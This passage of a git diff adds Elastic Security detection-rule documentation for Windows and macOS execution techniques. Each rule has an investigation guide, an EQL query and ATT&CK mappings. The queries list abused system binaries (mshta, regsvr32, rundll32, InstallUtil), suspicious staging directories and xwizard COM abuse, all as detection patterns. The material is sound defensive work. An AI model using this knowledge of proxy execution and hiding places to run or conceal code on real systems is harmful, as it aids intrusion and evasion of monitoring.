logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution from Unusual Directory - Command Line* + + +This rule looks for the execution of scripts from unusual directories. Attackers can use system or application paths to hide malware and make the execution less suspicious. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the script using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of parent process executable and command line conditions. + + +*Related rules* + + +- Process Execution from an Unusual Directory - ebfe1448-7fac-4d59-acea-181bd89b1f7f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("wscript.exe", + "cscript.exe", + "rundll32.exe", + "regsvr32.exe", + "cmstp.exe", + "RegAsm.exe", + "installutil.exe", + "mshta.exe", + "RegSvcs.exe", + "powershell.exe", + "pwsh.exe", + "cmd.exe") and + + /* add suspicious execution paths here */ + process.args : ("C:\\PerfLogs\\*", + "C:\\Users\\Public\\*", + "C:\\Windows\\Tasks\\*", + "C:\\Intel\\*", + "C:\\AMD\\Temp\\*", + "C:\\Windows\\AppReadiness\\*", + "C:\\Windows\\ServiceState\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\IdentityCRL\\*", + "C:\\Windows\\Branding\\*", + "C:\\Windows\\csc\\*", + "C:\\Windows\\DigitalLocker\\*", + "C:\\Windows\\en-US\\*", + "C:\\Windows\\wlansvc\\*", + "C:\\Windows\\Prefetch\\*", + "C:\\Windows\\Fonts\\*", + "C:\\Windows\\diagnostics\\*", + "C:\\Windows\\TAPI\\*", + "C:\\Windows\\INF\\*", + "C:\\Windows\\System32\\Speech\\*", + "C:\\windows\\tracing\\*", + "c:\\windows\\IME\\*", + "c:\\Windows\\Performance\\*", + "c:\\windows\\intel\\*", + "c:\\windows\\ms\\*", + "C:\\Windows\\dot3svc\\*", + "C:\\Windows\\panther\\*", + "C:\\Windows\\RemotePackages\\*", + "C:\\Windows\\OCR\\*", + "C:\\Windows\\appcompat\\*", + "C:\\Windows\\apppatch\\*", + "C:\\Windows\\addins\\*", + "C:\\Windows\\Setup\\*", + "C:\\Windows\\Help\\*", + "C:\\Windows\\SKB\\*", + "C:\\Windows\\Vss\\*", + "C:\\Windows\\servicing\\*", + "C:\\Windows\\CbsTemp\\*", + "C:\\Windows\\Logs\\*", + "C:\\Windows\\WaaS\\*", + "C:\\Windows\\twain_32\\*", + "C:\\Windows\\ShellExperiences\\*", + "C:\\Windows\\ShellComponents\\*", + "C:\\Windows\\PLA\\*", + "C:\\Windows\\Migration\\*", + "C:\\Windows\\debug\\*", + "C:\\Windows\\Cursors\\*", + "C:\\Windows\\Containers\\*", + "C:\\Windows\\Boot\\*", + "C:\\Windows\\bcastdvr\\*", + "C:\\Windows\\TextInput\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\schemas\\*", + "C:\\Windows\\SchCache\\*", + "C:\\Windows\\Resources\\*", + "C:\\Windows\\rescache\\*", + "C:\\Windows\\Provisioning\\*", + "C:\\Windows\\PrintDialog\\*", + "C:\\Windows\\PolicyDefinitions\\*", + "C:\\Windows\\media\\*", + "C:\\Windows\\Globalization\\*", + "C:\\Windows\\L2Schemas\\*", + "C:\\Windows\\LiveKernelReports\\*", + "C:\\Windows\\ModemLogs\\*", + "C:\\Windows\\ImmersiveControlPanel\\*", + "C:\\$Recycle.Bin\\*") and + + /* noisy FP patterns */ + + not process.parent.executable : ("C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\*\\igfxCUIService*.exe", + "C:\\Windows\\System32\\spacedeskService.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe") and + not (process.name : "rundll32.exe" and + process.args : ("uxtheme.dll,#64", + "PRINTUI.DLL,PrintUIEntry", + "?:\\Windows\\System32\\FirewallControlPanel.dll,ShowNotificationDialog", + "?:\\WINDOWS\\system32\\Speech\\SpeechUX\\sapi.cpl", + "?:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL")) and + + not (process.name : "cscript.exe" and process.args : "?:\\WINDOWS\\system32\\calluxxprovider.vbs") and + + not (process.name : "cmd.exe" and process.args : "?:\\WINDOWS\\system32\\powercfg.exe" and process.args : "?:\\WINDOWS\\inf\\PowerPlan.log") and + + not (process.name : "regsvr32.exe" and process.args : "?:\\Windows\\Help\\OEM\\scripts\\checkmui.dll") and + + not (process.name : "cmd.exe" and + process.parent.executable : ("?:\\Windows\\System32\\oobe\\windeploy.exe", + "?:\\Program Files (x86)\\ossec-agent\\wazuh-agent.exe", + "?:\\Windows\\System32\\igfxCUIService.exe", + "?:\\Windows\\Temp\\IE*.tmp\\IE*-support\\ienrcore.exe")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-com-object-via-xwizard.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-com-object-via-xwizard.asciidoc new file mode 100644 index 0000000000..1a46ac64c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-com-object-via-xwizard.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-execution-of-com-object-via-xwizard]] +=== Execution of COM object via Xwizard + +Windows Component Object Model (COM) is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects or executable code. Xwizard can be used to run a COM object created in registry to evade defensive counter measures. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Xwizard/ +* http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution of COM object via Xwizard* + + +The Windows Component Object Model (COM) facilitates communication between software components. Adversaries exploit this by using Xwizard to execute COM objects, bypassing security measures. The detection rule identifies suspicious Xwizard executions by monitoring process starts, checking for unusual arguments, and verifying executable paths, thus flagging potential misuse of COM objects for malicious activities. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the presence of xwizard.exe execution, focusing on the process.name and process.pe.original_file_name fields. +- Examine the process.args field to identify any unusual or suspicious arguments, particularly looking for the "RunWizard" command and any GUIDs or patterns that may indicate malicious activity. +- Verify the process.executable path to ensure it matches the expected system paths (C:\Windows\SysWOW64\xwizard.exe or C:\Windows\System32\xwizard.exe). Investigate any deviations from these paths as potential indicators of compromise. +- Check the parent process of xwizard.exe to understand the context of its execution and identify any potentially malicious parent processes. +- Correlate the event with other security data sources such as Microsoft Defender for Endpoint or Sysmon logs to gather additional context and identify any related suspicious activities or patterns. +- Investigate the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential unauthorized access or privilege escalation. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they use Xwizard to execute COM objects. Users can create exceptions for known software update processes by verifying the executable paths and arguments. +- System administrators might use Xwizard for legitimate configuration tasks. To handle this, identify and document regular administrative activities and exclude these from the rule by specifying the expected process arguments and executable paths. +- Automated scripts or management tools that utilize Xwizard for system management tasks can cause false positives. Review and whitelist these scripts or tools by ensuring their execution paths and arguments are consistent with known safe operations. +- Some security tools or monitoring solutions might use Xwizard as part of their normal operations. Confirm these activities with the tool's documentation and exclude them by adding their specific execution patterns to the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious xwizard.exe processes identified by the detection rule to halt potential malicious execution. +- Conduct a thorough review of the system's registry for unauthorized COM objects and remove any entries that are not recognized or are deemed malicious. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor the network for any signs of similar activity or related threats, ensuring that detection systems are tuned to identify variations of this attack. +- Escalate the incident to the security operations center (SOC) or relevant security team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "xwizard.exe" or ?process.pe.original_file_name : "xwizard.exe") and + ( + (process.args : "RunWizard" and process.args : "{*}") or + (process.executable != null and + not process.executable : ( + "C:\\Windows\\SysWOW64\\xwizard.exe", + "C:\\Windows\\System32\\xwizard.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\xwizard.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\xwizard.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-file-written-or-modified-by-microsoft-office.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-file-written-or-modified-by-microsoft-office.asciidoc new file mode 100644 index 0000000000..147443946b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-file-written-or-modified-by-microsoft-office.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-execution-of-file-written-or-modified-by-microsoft-office]] +=== Execution of File Written or Modified by Microsoft Office + +Identifies an executable created by a Microsoft Office application and subsequently executed. These processes are often launched via scripts inside documents or during exploitation of Microsoft Office applications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 60m + +*Searches indices from*: now-120m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution of File Written or Modified by Microsoft Office* + + +Microsoft Office, a widely used suite of productivity applications, is frequently targeted by attackers due to its popularity in corporate environments. Attackers exploit its extensive capabilities, like macro scripts in Word and Excel, to gain initial access to systems. They often use Office documents as delivery mechanisms for malware or phishing attempts, taking advantage of their trusted status in professional settings. + +This rule searches for executable files written by MS Office applications executed in sequence. This is most likely the result of the execution of malicious documents or exploitation for initial access or privilege escalation. This rule can also detect suspicious processes masquerading as the MS Office applications. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=2h + [file where host.os.type == "windows" and event.type != "deletion" and file.extension : "exe" and + (process.name : "WINWORD.EXE" or + process.name : "EXCEL.EXE" or + process.name : "OUTLOOK.EXE" or + process.name : "POWERPNT.EXE" or + process.name : "eqnedt32.exe" or + process.name : "fltldr.exe" or + process.name : "MSPUB.EXE" or + process.name : "MSACCESS.EXE") + ] by host.id, file.path + [process where host.os.type == "windows" and event.type == "start" and + not (process.name : "NewOutlookInstaller.exe" and process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) and + not (process.name : "ShareFileForOutlook-v*.exe" and process.code_signature.subject_name : "Citrix Systems, Inc." and process.code_signature.trusted == true) + ] by host.id, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-persistent-suspicious-program.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-persistent-suspicious-program.asciidoc new file mode 100644 index 0000000000..4b9f841fcd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-of-persistent-suspicious-program.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-execution-of-persistent-suspicious-program]] +=== Execution of Persistent Suspicious Program + +Identifies execution of suspicious persistent programs (scripts, rundll32, etc.) by looking at process lineage and command line usage. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution of Persistent Suspicious Program* + + +Persistent programs, like scripts or rundll32, are often used by adversaries to maintain access to a system. These programs can be executed at startup, leveraging process lineage and command line arguments to evade detection. The detection rule identifies suspicious executions by monitoring the sequence of processes initiated after user logon, focusing on known malicious executables and unusual file paths, thus highlighting potential abuse of persistence mechanisms. + + +*Possible investigation steps* + + +- Review the process lineage to confirm the sequence of userinit.exe, explorer.exe, and the suspicious child process. Verify if the child process was indeed launched shortly after user logon. +- Examine the command line arguments of the suspicious process to identify any unusual or malicious patterns, especially those involving known suspicious paths like C:\Users\*, C:\ProgramData\*, or C:\Windows\Temp\*. +- Check the original file name of the suspicious process against known malicious executables such as cscript.exe, wscript.exe, or PowerShell.EXE to determine if it matches any of these. +- Investigate the parent process explorer.exe to ensure it was not compromised or manipulated to launch the suspicious child process. +- Analyze the user account associated with the suspicious process to determine if it has been involved in any other suspicious activities or if it has elevated privileges that could be exploited. +- Review recent system changes or installations that might have introduced the suspicious executable or altered startup configurations. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may trigger alerts if they are executed from common directories like C:\Users or C:\ProgramData. To manage this, create exceptions for known administrative scripts that are regularly used in your environment. +- Software updates or installations might use processes like PowerShell or RUNDLL32, leading to false positives. Identify and exclude these processes when they are part of a verified update or installation routine. +- Custom scripts or automation tasks that run at startup could be flagged. Document these tasks and exclude them from the rule if they are part of normal operations. +- Security or monitoring tools that use similar execution patterns may be mistakenly identified. Verify these tools and add them to an exclusion list to prevent unnecessary alerts. +- User-initiated actions that mimic suspicious behavior, such as running scripts from the command line, can cause false positives. Educate users on safe practices and adjust the rule to exclude known benign user actions. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified in the alert, such as those executed by cscript.exe, wscript.exe, PowerShell.EXE, MSHTA.EXE, RUNDLL32.EXE, REGSVR32.EXE, RegAsm.exe, MSBuild.exe, or InstallUtil.exe. +- Remove any unauthorized or suspicious startup entries or scheduled tasks that may have been created to ensure persistence. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and restore any modified system configurations or registry settings to their default or secure state. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the affected host and similar systems to detect any recurrence or related suspicious activities. + +==== Rule query + + +[source, js] +---------------------------------- +/* userinit followed by explorer followed by early child process of explorer (unlikely to be launched interactively) within 1m */ +sequence by host.id, user.name with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "userinit.exe" and process.parent.name : "winlogon.exe"] + [process where host.os.type == "windows" and event.type == "start" and process.name : "explorer.exe"] + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "explorer.exe" and + /* add suspicious programs here */ + process.pe.original_file_name in ("cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "RegAsm.exe", + "MSBuild.exe", + "InstallUtil.exe") and + /* add potential suspicious paths here */ + process.args : ("C:\\Users\\*", "C:\\ProgramData\\*", "C:\\Windows\\Temp\\*", "C:\\Windows\\Tasks\\*", "C:\\PerfLogs\\*", "C:\\Intel\\*") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-electron-child-process-node-js-module.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-electron-child-process-node-js-module.asciidoc new file mode 100644 index 0000000000..6174de89dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-via-electron-child-process-node-js-module.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-execution-via-electron-child-process-node-js-module]] +=== Execution via Electron Child Process Node.js Module + +Identifies attempts to execute a child process from within the context of an Electron application using the child_process Node.js module. Adversaries may abuse this technique to inherit permissions from parent processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.matthewslipper.com/2019/09/22/everything-you-wanted-electron-child-process.html +* https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/ +* https://nodejs.org/api/child_process.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Electron Child Process Node.js Module* + + +Electron applications, built on Node.js, can execute child processes using the `child_process` module, inheriting parent process permissions. Adversaries exploit this to execute unauthorized commands, bypassing security controls. The detection rule identifies suspicious process starts on macOS, focusing on command-line arguments indicative of such abuse, aiding in threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the process arguments captured in the alert to confirm the presence of suspicious patterns, such as the use of 